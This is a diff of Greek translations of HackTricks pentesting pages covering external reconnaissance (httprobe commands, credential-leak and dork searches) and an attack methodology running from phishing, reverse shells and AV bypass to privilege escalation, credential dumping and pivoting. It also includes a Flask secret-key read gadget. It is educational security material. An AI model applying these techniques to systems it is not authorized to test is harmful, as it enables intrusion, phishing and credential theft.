 Παρακαλώ σημειώστε ότι αυτό θα είναι **προσανατολισμένο στην ανακάλυψη web apps**, οπότε θα πρέπει να **εκτελέσετε τη σάρωση ευπαθειών** και **σάρωση θυρών** επίσης (**αν επιτρέπεται** από το πεδίο).
 
 Μια **γρήγορη μέθοδος** για να ανακαλύψετε **ανοιχτές θύρες** σχετικές με **web** servers χρησιμοποιώντας [**masscan** μπορεί να βρεθεί εδώ](../pentesting-network/index.html#http-port-discovery).\
-Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περάστε μια λίστα domains και θα προσπαθήσει να συνδεθεί σε θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες:
+Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περάστε μια λίστα domains και θα προσπαθήσει να συνδεθεί στις θύρες 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες:
 ```bash
 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
 ```
 ### **Στιγμιότυπα**
 
-Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά με **μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**.
+Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά με το **να ρίξετε μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**.
 
 Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
 
-Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι πιθανόν να περιέχει ευπάθειες**, και τι όχι.
+Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι είναι πιθανό να περιέχει ευπάθειες**, και τι όχι.
 
 ## Δημόσια Περιουσιακά Στοιχεία Cloud
 
@@ -518,7 +518,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
 
 ### **Αναζητώντας ευπάθειες**
 
-Αν βρείτε πράγματα όπως **ανοιχτά buckets ή εκτεθειμένες cloud functions** θα πρέπει να **τα αποκτήσετε πρόσβαση** και να δείτε τι προσφέρουν και αν μπορείτε να τα εκμεταλλευτείτε.
+Αν βρείτε πράγματα όπως **ανοιχτά buckets ή εκτεθειμένες cloud functions** θα πρέπει να **τα αποκτήσετε πρόσβαση** και να δείτε τι σας προσφέρουν και αν μπορείτε να τα εκμεταλλευτείτε.
 
 ## Emails
 
@@ -531,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
 
 ### **Αναζητώντας ευπάθειες**
 
-Τα emails θα είναι χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing.
+Τα emails θα φανούν χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing.
 
 ## Διαρροές Διαπιστευτηρίων
 
@@ -550,14 +550,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
 
 ### Διαρροές Github
 
-Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στα **δημόσια αποθετήρια** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
-Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλα τα **δημόσια αποθετήρια** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω τους αυτόματα.
+Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στις **δημόσιες αποθήκες** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
+Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλες τις **δημόσιες αποθήκες** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω τους αυτόματα.
 
-**Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** κατά όλων των **κειμένων** που παρέχονται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**.
+**Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** σε όλο το **κείμενο** που παρέχεται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**.
 
 #### Github Dorks
 
-Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανά **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε:
+Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανούς **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε:
 
 {{#ref}}
 github-leaked-secrets.md
@@ -570,9 +570,9 @@ github-leaked-secrets.md
 
 ### Google Dorks
 
-Οι παλιές αλλά χρυσές google dorks είναι πάντα χρήσιμες για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις εκτελέσετε όλες**.
+Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις εκτελέσετε όλες**.
 
-_Σημειώστε ότι τα εργαλεία που αναμένουν να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._
+_Σημειώστε ότι τα εργαλεία που αναμένονται να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._
 
 ### **Αναζητώντας ευπάθειες**
 
@@ -582,37 +582,37 @@ _Σημειώστε ότι τα εργαλεία που αναμένουν να
 
 Αν διαπιστώσετε ότι η εταιρεία έχει **ανοιχτό κώδικα** μπορείτε να **αναλύσετε** αυτόν και να αναζητήσετε **ευπάθειες** σε αυτόν.
 
-**Ανάλογα με τη γλώσσα** υπάρχουν διάφορα **εργαλεία** που μπορείτε να χρησιμοποιήσετε:
+**Ανάλογα με τη γλώσσα** υπάρχουν διαφορετικά **εργαλεία** που μπορείτε να χρησιμοποιήσετε:
 
 {{#ref}}
 ../../network-services-pentesting/pentesting-web/code-review-tools.md
 {{#endref}}
 
-Υπάρχουν επίσης δωρεάν υπηρεσίες που σας επιτρέπουν να **σκανάρετε δημόσια αποθετήρια**, όπως:
+Υπάρχουν επίσης δωρεάν υπηρεσίες που σας επιτρέπουν να **σκανάρετε δημόσιες αποθήκες**, όπως:
 
 - [**Snyk**](https://app.snyk.io/)
 
-## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
+## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/index.html)
 
-Η **πλειοψηφία των ευπαθειών** που βρίσκονται από τους κυνηγούς σφαλμάτων βρίσκεται μέσα σε **ιστοσελίδες**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών ιστοσελίδων**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/).
+Η **πλειοψηφία των ευπαθειών** που βρίσκονται από κυνηγούς σφαλμάτων βρίσκεται μέσα σε **web applications**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών web εφαρμογών**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/index.html).
 
 Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), καθώς, αν δεν πρέπει να περιμένετε να σας βρουν πολύ ευαίσθητες ευπάθειες, είναι χρήσιμα για να τα εφαρμόσετε σε **ροές εργασίας για να έχετε κάποιες αρχικές πληροφορίες ιστού.**
 
 ## Ανακεφαλαίωση
 
-> Συγχαρητήρια! Σε αυτό το σημείο έχετε ήδη εκτελέσει **όλη την βασική καταμέτρηση**. Ναι, είναι βασικό γιατί μπορεί να γίνει πολύ περισσότερη καταμέτρηση (θα δούμε περισσότερα κόλπα αργότερα).
+> Συγχαρητήρια! Σε αυτό το σημείο έχετε ήδη εκτελέσει **όλη την βασική καταμέτρηση**. Ναι, είναι βασική γιατί μπορεί να γίνει πολύ περισσότερη καταμέτρηση (θα δούμε περισσότερα κόλπα αργότερα).
 
 Έτσι έχετε ήδη:
 
-1. Βρει όλους τους **εταιρείες** μέσα στο πεδίο
+1. Βρει όλους τους **τομείς** μέσα στο πεδίο
 2. Βρει όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέσει κάποια σάρωση ευπαθειών αν είναι στο πεδίο)
 3. Βρει όλους τους **τομείς** που ανήκουν στις εταιρείες
 4. Βρει όλους τους **υποτομείς** των τομέων (κάποια κατάληψη υποτομέα;)
 5. Βρει όλες τις **IP** (από και **όχι από CDNs**) μέσα στο πεδίο.
-6. Βρει όλους τους **διακομιστές ιστού** και πήρε ένα **στιγμιότυπο** από αυτούς (κάτι παράξενο που αξίζει μια πιο προσεκτική ματιά;)
+6. Βρει όλους τους **διακομιστές ιστού** και πήρε ένα **στιγμιότυπο** από αυτούς (κάτι παράξενο που αξίζει μια πιο βαθιά ματιά;)
 7. Βρει όλα τα **πιθανά δημόσια περιουσιακά στοιχεία cloud** που ανήκουν στην εταιρεία.
 8. **Emails**, **διαρροές διαπιστευτηρίων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**.
-9. **Pentesting όλων των ιστοσελίδων που βρήκατε**
+9. **Pentesting όλων των ιστότοπων που βρήκατε**
 
 ## **Πλήρη Αυτόματα Εργαλεία Αναγνώρισης**
 

src/generic-methodologies-and-resources/pentesting-methodology.md

@@ -11,16 +11,16 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
 
 ### 0- Φυσικές Επιθέσεις
 
-Έχετε **φυσική πρόσβαση** στη μηχανή που θέλετε να επιτεθείτε; Πρέπει να διαβάσετε μερικά [**tricks για φυσικές επιθέσεις**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**διαφυγή από GUI εφαρμογές**](../hardware-physical-access/escaping-from-gui-applications.md).
+Έχετε **φυσική πρόσβαση** στη μηχανή που θέλετε να επιτεθείτε; Θα πρέπει να διαβάσετε μερικά [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md).
 
-### 1 - [Ανακαλύπτοντας hosts μέσα στο δίκτυο](pentesting-network/index.html#discovering-hosts)/ [Ανακαλύπτοντας περιουσιακά στοιχεία της εταιρείας](external-recon-methodology/)
+### 1 - [Ανακαλύπτοντας hosts μέσα στο δίκτυο](pentesting-network/index.html#discovering-hosts)/ [Ανακαλύπτοντας τα περιουσιακά στοιχεία της εταιρείας](external-recon-methodology/index.html)
 
-**Ανάλογα** με το αν η **δοκιμή** που εκτελείτε είναι **εσωτερική ή εξωτερική**, μπορεί να σας ενδιαφέρει να βρείτε **hosts μέσα στο δίκτυο της εταιρείας** (εσωτερική δοκιμή) ή **να βρείτε περιουσιακά στοιχεία της εταιρείας στο διαδίκτυο** (εξωτερική δοκιμή).
+**Ανάλογα** με το αν η **δοκιμή** που εκτελείτε είναι **εσωτερική ή εξωτερική**, μπορεί να σας ενδιαφέρει να βρείτε **hosts μέσα στο εταιρικό δίκτυο** (εσωτερική δοκιμή) ή **να βρείτε περιουσιακά στοιχεία της εταιρείας στο διαδίκτυο** (εξωτερική δοκιμή).
 
 > [!NOTE]
 > Σημειώστε ότι αν εκτελείτε μια εξωτερική δοκιμή, μόλις καταφέρετε να αποκτήσετε πρόσβαση στο εσωτερικό δίκτυο της εταιρείας, θα πρέπει να επανεκκινήσετε αυτόν τον οδηγό.
 
-### **2-** [**Διασκεδάζοντας με το δίκτυο**](pentesting-network/) **(Εσωτερική)**
+### **2-** [**Διασκεδάζοντας με το δίκτυο**](pentesting-network/index.html) **(Εσωτερική)**
 
 **Αυτή η ενότητα ισχύει μόνο αν εκτελείτε μια εσωτερική δοκιμή.**\
 Πριν επιτεθείτε σε έναν host, ίσως προτιμήσετε να **κλέψετε κάποια διαπιστευτήρια** **από το δίκτυο** ή να **sniff** κάποια **δεδομένα** για να μάθετε **παθητικά/ενεργά (MitM)** τι μπορείτε να βρείτε μέσα στο δίκτυο. Μπορείτε να διαβάσετε [**Pentesting Network**](pentesting-network/index.html#sniffing).
@@ -37,28 +37,28 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
 
 Αν δεν υπάρχει κάποιο fancy exploit για καμία εκτελούμενη υπηρεσία, θα πρέπει να αναζητήσετε **κοινές κακοδιαμορφώσεις σε κάθε εκτελούμενη υπηρεσία.**
 
-**Μέσα σε αυτό το βιβλίο θα βρείτε έναν οδηγό για να pentest τις πιο κοινές υπηρεσίες** (και άλλες που δεν είναι τόσο κοινές)**. Παρακαλώ, αναζητήστε στον αριστερό δείκτη την** _**PENTESTING**_ **ενότητα** (οι υπηρεσίες είναι ταξινομημένες κατά τις προεπιλεγμένες θύρες τους).
+**Μέσα σε αυτό το βιβλίο θα βρείτε έναν οδηγό για να pentest τις πιο κοινές υπηρεσίες** (και άλλες που δεν είναι τόσο κοινές)**. Παρακαλώ, αναζητήστε στην αριστερή ευρετήριο την** _**PENTESTING**_ **ενότητα** (οι υπηρεσίες είναι ταξινομημένες κατά τις προεπιλεγμένες θύρες τους).
 
-**Θέλω να κάνω μια ειδική αναφορά στο** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **μέρος (καθώς είναι το πιο εκτενές).**\
+**Θέλω να κάνω μια ειδική αναφορά στο** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **μέρος (καθώς είναι το πιο εκτενές).**\
 Επίσης, μπορείτε να βρείτε εδώ έναν μικρό οδηγό για το πώς να [**βρείτε γνωστές ευπάθειες σε λογισμικό**](../generic-hacking/search-exploits.md).
 
-**Αν η υπηρεσία σας δεν είναι μέσα στον δείκτη, αναζητήστε στο Google** για άλλους οδηγούς και **ενημερώστε με αν θέλετε να το προσθέσω.** Αν **δεν μπορείτε να βρείτε τίποτα** στο Google, εκτελέστε τη **δική σας τυφλή pentesting**, μπορείτε να ξεκινήσετε με το **να συνδεθείτε στην υπηρεσία, να την fuzzing και να διαβάσετε τις απαντήσεις** (αν υπάρχουν).
+**Αν η υπηρεσία σας δεν είναι μέσα στο ευρετήριο, αναζητήστε στο Google** για άλλους οδηγούς και **ενημερώστε με αν θέλετε να το προσθέσω.** Αν **δεν μπορείτε να βρείτε τίποτα** στο Google, εκτελέστε τη **δική σας τυφλή pentesting**, μπορείτε να ξεκινήσετε με το **να συνδεθείτε στην υπηρεσία, να την fuzzing και να διαβάσετε τις απαντήσεις** (αν υπάρχουν).
 
 #### 5.1 Αυτόματα Εργαλεία
 
-Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να εκτελέσουν **αυτόματες αξιολογήσεις ευπαθειών**. **Σας προτείνω να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που έχω δημιουργήσει και βασίζεται στις σημειώσεις σχετικά με τις υπηρεσίες pentesting που μπορείτε να βρείτε σε αυτό το βιβλίο.**
+Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να εκτελέσουν **αυτόματες αξιολογήσεις ευπαθειών**. **Σας προτείνω να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που έχω δημιουργήσει και βασίζεται στις σημειώσεις σχετικά με το pentesting υπηρεσιών που μπορείτε να βρείτε σε αυτό το βιβλίο.**
 
 #### **5.2 Brute-Forcing υπηρεσιών**
 
 Σε ορισμένα σενάρια, μια **Brute-Force** μπορεί να είναι χρήσιμη για να **συμβιβάσετε** μια **υπηρεσία**. [**Βρείτε εδώ ένα CheatSheet για διαφορετικές υπηρεσίες brute forcing**](../generic-hacking/brute-force.md)**.**
 
-### 6- [Phishing](phishing-methodology/)
+### 6- [Phishing](phishing-methodology/index.html)
 
-Αν σε αυτό το σημείο δεν έχετε βρει καμία ενδιαφέρουσα ευπάθεια, ίσως χρειαστεί να δοκιμάσετε κάποιο phishing για να μπείτε στο δίκτυο. Μπορείτε να διαβάσετε τη μεθοδολογία phishing μου [εδώ](phishing-methodology/):
+Αν μέχρι αυτό το σημείο δεν έχετε βρει καμία ενδιαφέρουσα ευπάθεια, ίσως χρειαστεί να δοκιμάσετε κάποιο phishing για να μπείτε στο δίκτυο. Μπορείτε να διαβάσετε τη μεθοδολογία phishing μου [εδώ](phishing-methodology/index.html):
 
-### **7-** [**Λαμβάνοντας Shell**](../generic-hacking/reverse-shells/)
+### **7-** [**Λαμβάνοντας Shell**](../generic-hacking/reverse-shells/index.html)
 
-Με κάποιο τρόπο θα πρέπει να έχετε βρει **κάποιον τρόπο να εκτελέσετε κώδικα** στο θύμα. Στη συνέχεια, [μια λίστα με πιθανά εργαλεία μέσα στο σύστημα που μπορείτε να χρησιμοποιήσετε για να αποκτήσετε ένα reverse shell θα ήταν πολύ χρήσιμη](../generic-hacking/reverse-shells/).
+Με κάποιο τρόπο θα πρέπει να έχετε βρει **κάποιον τρόπο να εκτελέσετε κώδικα** στο θύμα. Στη συνέχεια, [μια λίστα με πιθανά εργαλεία μέσα στο σύστημα που μπορείτε να χρησιμοποιήσετε για να αποκτήσετε ένα reverse shell θα ήταν πολύ χρήσιμη](../generic-hacking/reverse-shells/index.html).
 
 Ιδιαίτερα στα Windows, μπορεί να χρειαστείτε κάποια βοήθεια για να **αποφύγετε τα antivirus**: [**Ελέγξτε αυτή τη σελίδα**](../windows-hardening/av-bypass.md)**.**\\
 
@@ -68,7 +68,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
 
 - [**Linux**](../linux-hardening/useful-linux-commands.md)
 - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
-- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
+- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
 
 ### **9 -** [**Εξαγωγή**](../generic-hacking/exfiltration.md)
 
@@ -79,26 +79,26 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
 #### **10.1- Τοπική Ανύψωση Προνομίων**
 
 Αν δεν είστε **root/Διαχειριστής** μέσα στο σύστημα, θα πρέπει να βρείτε έναν τρόπο να **ανυψώσετε τα προνόμια.**\
-Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανύψωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
-Πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**:
+Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανύψωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/index.html) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\
+Θα πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**:
 
-- [**Αυθεντικοποίηση, Διαπιστευτήρια, Προνόμια Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
-- Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/)
+- [**Αυθεντικοποίηση, Διαπιστευτήρια, Προνόμια Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
+- Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/index.html)
 - Πώς να [**κλέψετε διαπιστευτήρια**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) στα Windows
-- Μερικά tricks σχετικά με [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
+- Μερικά tricks σχετικά με [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
 
 **Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για να απαριθμήσετε τις τοπικές διαδρομές ανύψωσης προνομίων Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
 
 #### **10.2- Ανύψωση Προνομίων Τομέα**
 
-Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, ανύψωση προνομίων και επιμονή σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team.
+Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, ανύψωση προνομίων και επιμονή σε ένα Active Directory**](../windows-hardening/active-directory-methodology/index.html). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team.
 
 ### 11 - POST
 
-#### **11**.1 - Λαφυραγώγηση
+#### **11**.1 - Λαφυραγωγία
 
 Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον host ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **προνόμια** του **χρήστη** σας.\
-Βρείτε εδώ διάφορους τρόπους για να [**dump passwords στα Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
+Βρείτε εδώ διάφορους τρόπους για να [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
 
 #### 11.2 - Επιμονή
 
@@ -111,20 +111,20 @@ TODO: Complete persistence Post in Windows & Linux
 
 Με τα **συγκεντρωμένα διαπιστευτήρια** θα μπορούσατε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειαστεί να **ανακαλύψετε και να σαρώσετε νέους hosts** (ξεκινήστε ξανά τη Μεθοδολογία Pentesting) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\
 Σε αυτή την περίπτωση, η σήραγγα μπορεί να είναι απαραίτητη. Εδώ μπορείτε να βρείτε [**ένα post που μιλάει για σήραγγες**](../generic-hacking/tunneling-and-port-forwarding.md).\
-Πρέπει επίσης να ελέγξετε το post σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε ωραία tricks για να μετακινηθείτε οριζόντια, να ανυψώσετε προνόμια και να dump διαπιστευτήρια.\
-Ελέγξτε επίσης τη σελίδα σχετικά με το [**NTLM**](../windows-hardening/ntlm/), μπορεί να είναι πολύ χρήσιμη για pivoting σε περιβάλλοντα Windows.
+Θα πρέπει επίσης να ελέγξετε το post σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/index.html). Εκεί θα βρείτε ωραία tricks για να μετακινηθείτε οριζόντια, να ανυψώσετε προνόμια και να dump διαπιστευτήρια.\
+Ελέγξτε επίσης τη σελίδα σχετικά με [**NTLM**](../windows-hardening/ntlm/index.html), μπορεί να είναι πολύ χρήσιμη για pivoting σε περιβάλλοντα Windows.
 
 ### ΠΕΡΙΣΣΟΤΕΡΑ
 
-#### [Εφαρμογές Android](../mobile-pentesting/android-app-pentesting/)
+#### [Εφαρμογές Android](../mobile-pentesting/android-app-pentesting/index.html)
 
 #### **Εκμετάλλευση**
 
-- [**Βασική Εκμετάλλευση Linux**](broken-reference/)
+- [**Βασική Εκμετάλλευση Linux**](broken-reference/index.html)
 - [**Βασική Εκμετάλλευση Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [**Βασικά εργαλεία εκμετάλλευσης**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
+- [**Βασικά εργαλεία εκμετάλλευσης**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
 
-#### [**Βασική Python**](python/)
+#### [**Βασική Python**](python/index.html)
 
 #### **Tricks Κρυπτογράφησης**
 

src/generic-methodologies-and-resources/python/README.md

@@ -6,7 +6,7 @@
 
 - [**Pyscript hacking tricks**](pyscript.md)
 - [**Python deserializations**](../../pentesting-web/deserialization/index.html#python)
-- [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/)
+- [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/index.html)
 - [**Basic python web requests syntax**](web-requests.md)
 - [**Basic python syntax and libraries**](basic-python.md)
 

src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md

@@ -13,9 +13,9 @@
 app = Flask(__name__, template_folder='templates')
 app.secret_key = '(:secret:)'
 ```
-Σε αυτή την περίπτωση, είναι δυνατό να αποκτήσετε πρόσβαση σε αυτό το αντικείμενο απλά χρησιμοποιώντας οποιοδήποτε gadget για **να αποκτήσετε πρόσβαση σε παγκόσμια αντικείμενα** από τη σελίδα [**Bypass Python sandboxes**](bypass-python-sandboxes/).
+Σε αυτή την περίπτωση, είναι δυνατόν να αποκτήσετε πρόσβαση σε αυτό το αντικείμενο απλά χρησιμοποιώντας οποιοδήποτε gadget για **να αποκτήσετε πρόσβαση σε παγκόσμια αντικείμενα** από τη σελίδα [**Bypass Python sandboxes**](bypass-python-sandboxes/index.html).
 
-Στην περίπτωση όπου **η ευπάθεια είναι σε διαφορετικό αρχείο python**, χρειάζεστε ένα gadget για να διασχίσετε τα αρχεία ώστε να φτάσετε στο κύριο για **να αποκτήσετε πρόσβαση στο παγκόσμιο αντικείμενο `app.secret_key`** για να αλλάξετε το μυστικό κλειδί του Flask και να μπορείτε να [**κλιμακώσετε δικαιώματα** γνωρίζοντας αυτό το κλειδί](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
